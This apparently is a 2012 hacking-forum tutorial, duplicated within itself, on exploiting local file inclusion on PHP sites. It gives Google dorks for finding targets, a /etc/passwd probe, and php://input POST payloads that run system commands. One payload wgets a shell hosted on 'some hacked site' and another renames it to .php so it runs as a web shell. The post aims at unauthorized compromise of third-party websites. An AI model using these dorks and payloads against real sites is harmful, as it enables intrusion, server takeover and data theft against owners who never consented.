Apr 9, 2012 07:16 AM
(This post was last modified: Apr 10, 2012 12:53 PM by HaxOr❤.)
Things you will need:
1.) Site vulnerable to LFI (Local file inclusion)
2.) HackBar
- Finding vulnerable site
Few Google dorks.
Credits: -Downfall
So when you find some site like this:
Instead of main.php put /etc/passwd and if you get something like this :
[img]http://img820.imageshack.us/img820/723/regionme.png[/img]
If you type php://input instead /etc/passwd and it doesn't throw error then it's vulnerable and we can continue.
- Exploiting
So we have our vulnerable site.
Now it's time to exploit it.
Go here and install HackBar (If you don't have it already)
Now open your site and Load URL into the hackbar.
[img]http://img707.imageshack.us/img707/4452/regionfr.png[/img]
[img]http://img703.imageshack.us/img703/4188/regionzz.png[/img]
Good.
Now replace everything next to = sign and replace it with
Like this
[img]http://img853.imageshack.us/img853/8995/regionbx.png[/img]
Now enable "Enable Post Data"
[img]http://img811.imageshack.us/img811/8567/regionij.png[/img]
You will get new box.
There we will type our commands.
- How the fuck do i shell it?
This part is simple.
All you need to do is to put your commands into "Post Data" box.
We start with simple ones like:
[img]http://img641.imageshack.us/img641/2285/regiont.png[/img]
As you can see it executed and it works pretty well.
Now comes shelling part.
If you have some hacked site,you can host your shell (In textual (.txt) format)
I will use 404 Gny shell for this tutorial.
We type
(Replace link with your shell location)
[img]http://img214.imageshack.us/img214/5299/regionqg.png[/img]
To see if your shell downloaded type:
You got list of files in current directory.
Search for your file (Mine one is aa.txt)
(For simple search press CTRL+F and then type your filename there)
[img]http://img823.imageshack.us/img823/4452/regionfr.png[/img]
Final part is to rename aa.txt to aa.php.
This simple command will do the trick:
[img]http://img515.imageshack.us/img515/8532/regiondp.png[/img]
Now we just access our shell.
[img]http://img269.imageshack.us/img269/7311/regionhk.png[/img]
[img]http://img191.imageshack.us/img191/9604/regionvj.png[/img]
So that concludes our litlle tutorial.
I hope you guys learned something new today.
Video tutorial thanks to -Zer0Freak-
Greetz to:
Team INTRA, -Downfall, BeggFoMercy, Zer0Pwn...
1.) Site vulnerable to LFI (Local file inclusion)
2.) HackBar
Chapter I
- Finding vulnerable site
Few Google dorks.
Credits: -Downfall
Code
inurl:index.php?page=index.php
inurl:index.php?page=sitemap.php
inurl:index.php?page=awards.php
inurl:index.php?page=book.php
inurl:index.php?page=store.php
inurl:index.php?page=items.php
inurl:index.php?page=feedback.php
inurl:index.php?page=welcome.php
inurl:index.php?page=advertise.php
inurl:index.php?page=festival.php
inurl:index.php?page=band.php
inurl:index.php?page=musicians.php
inurl:index.php?page=artist.php
inurl:index.php?page=archive.php
inurl:index.php?page=facilities.php
inurl:index.php?page=activies.php
inurl:index.php?page=bio.php
inurl:index.php?page=biography.php
inurl:index.php?page=menu.php
inurl:index.php?page=profile.php
inurl:index.php?page=terms.php
inurl:index.php?page=tos.php
inurl:index.php?page=screenshots.php
inurl:index.php?page=plans.php
inurl:index.php?page=templates.php
inurl:index.php?page=browse.php
inurl:index.php?page=shows.php
inurl:index.php?page=dining.php
inurl:index.php?page=media.php
inurl:index.php?page=offers.php
inurl:index.php?page=photogallery.php
inurl:index.php?page=schools.php
inurl:index.php?page=rates.php
inurl:index.php?page=buy.php
inurl:index.php?page=pricing.php
inurl:index.php?page=web.php
inurl:index.php?page=cms.php
inurl:index.php?page=sponsors.php
inurl:index.php?page=login.php
inurl:index.php?page=admin.php
inurl:index.php?page=register.php
inurl:index.php?page=signin.php
inurl:index.php?page=signup.php
inurl:index.php?page=artikel.php
inurl:index.php?page=kontakt.php
inurl:index.php?page=directions.php
inurl:index.php?page=farm.php
inurl:index.php?page=resume.php
inurl:index.php?page=products.php
inurl:index.php?page=music.php
inurl:index.php?page=agenda.php
inurl:index.php?page=faculty.php
inurl:index.php?page=overview.php
inurl:index.php?page=research.php
inurl:index.php?page=publications.php
inurl:index.php?page=outreach.php
inurl:index.php?page=education.php
inurl:index.php?page=regulatoins.phpSo when you find some site like this:
Code
http://site.com/index.php?page=main.phpInstead of main.php put /etc/passwd and if you get something like this :
[img]http://img820.imageshack.us/img820/723/regionme.png[/img]
If you type php://input instead /etc/passwd and it doesn't throw error then it's vulnerable and we can continue.
Chapter II
- Exploiting
So we have our vulnerable site.
Code
http://site.com/index.php?page=main.phpNow it's time to exploit it.
Go here and install HackBar (If you don't have it already)
Code
https://addons.mozilla.org/en-US/firefox/addon/hackbar/Now open your site and Load URL into the hackbar.
[img]http://img707.imageshack.us/img707/4452/regionfr.png[/img]
[img]http://img703.imageshack.us/img703/4188/regionzz.png[/img]
Good.
Now replace everything next to = sign and replace it with
Code
php://inputLike this
Code
http://site.com/index.php?page=php://input[img]http://img853.imageshack.us/img853/8995/regionbx.png[/img]
Now enable "Enable Post Data"
[img]http://img811.imageshack.us/img811/8567/regionij.png[/img]
You will get new box.
There we will type our commands.
Chapter III
- How the fuck do i shell it?
This part is simple.
All you need to do is to put your commands into "Post Data" box.
We start with simple ones like:
Code
<? system('id'); ?>[img]http://img641.imageshack.us/img641/2285/regiont.png[/img]
As you can see it executed and it works pretty well.
Now comes shelling part.
If you have some hacked site,you can host your shell (In textual (.txt) format)
I will use 404 Gny shell for this tutorial.
We type
Code
<? system('wget www.site.com/shell.txt'); ?>(Replace link with your shell location)
[img]http://img214.imageshack.us/img214/5299/regionqg.png[/img]
To see if your shell downloaded type:
Code
<? system('ls'); ?>You got list of files in current directory.
Search for your file (Mine one is aa.txt)
(For simple search press CTRL+F and then type your filename there)
[img]http://img823.imageshack.us/img823/4452/regionfr.png[/img]
Final part is to rename aa.txt to aa.php.
This simple command will do the trick:
Code
<? system('mv aa.txt aa.php'); ?>[img]http://img515.imageshack.us/img515/8532/regiondp.png[/img]
Now we just access our shell.
[img]http://img269.imageshack.us/img269/7311/regionhk.png[/img]
[img]http://img191.imageshack.us/img191/9604/regionvj.png[/img]
So that concludes our litlle tutorial.
I hope you guys learned something new today.
Video tutorial thanks to -Zer0Freak-
Greetz to:
Team INTRA, -Downfall, BeggFoMercy, Zer0Pwn...



![[Image: bxJWb.gif]](https://i.imgur.com/bxJWb.gif)
![[Image: YbnrlXn.gif]](https://i.imgur.com/YbnrlXn.gif)

![[Image: ag0dyBC.png]](https://i.imgur.com/ag0dyBC.png)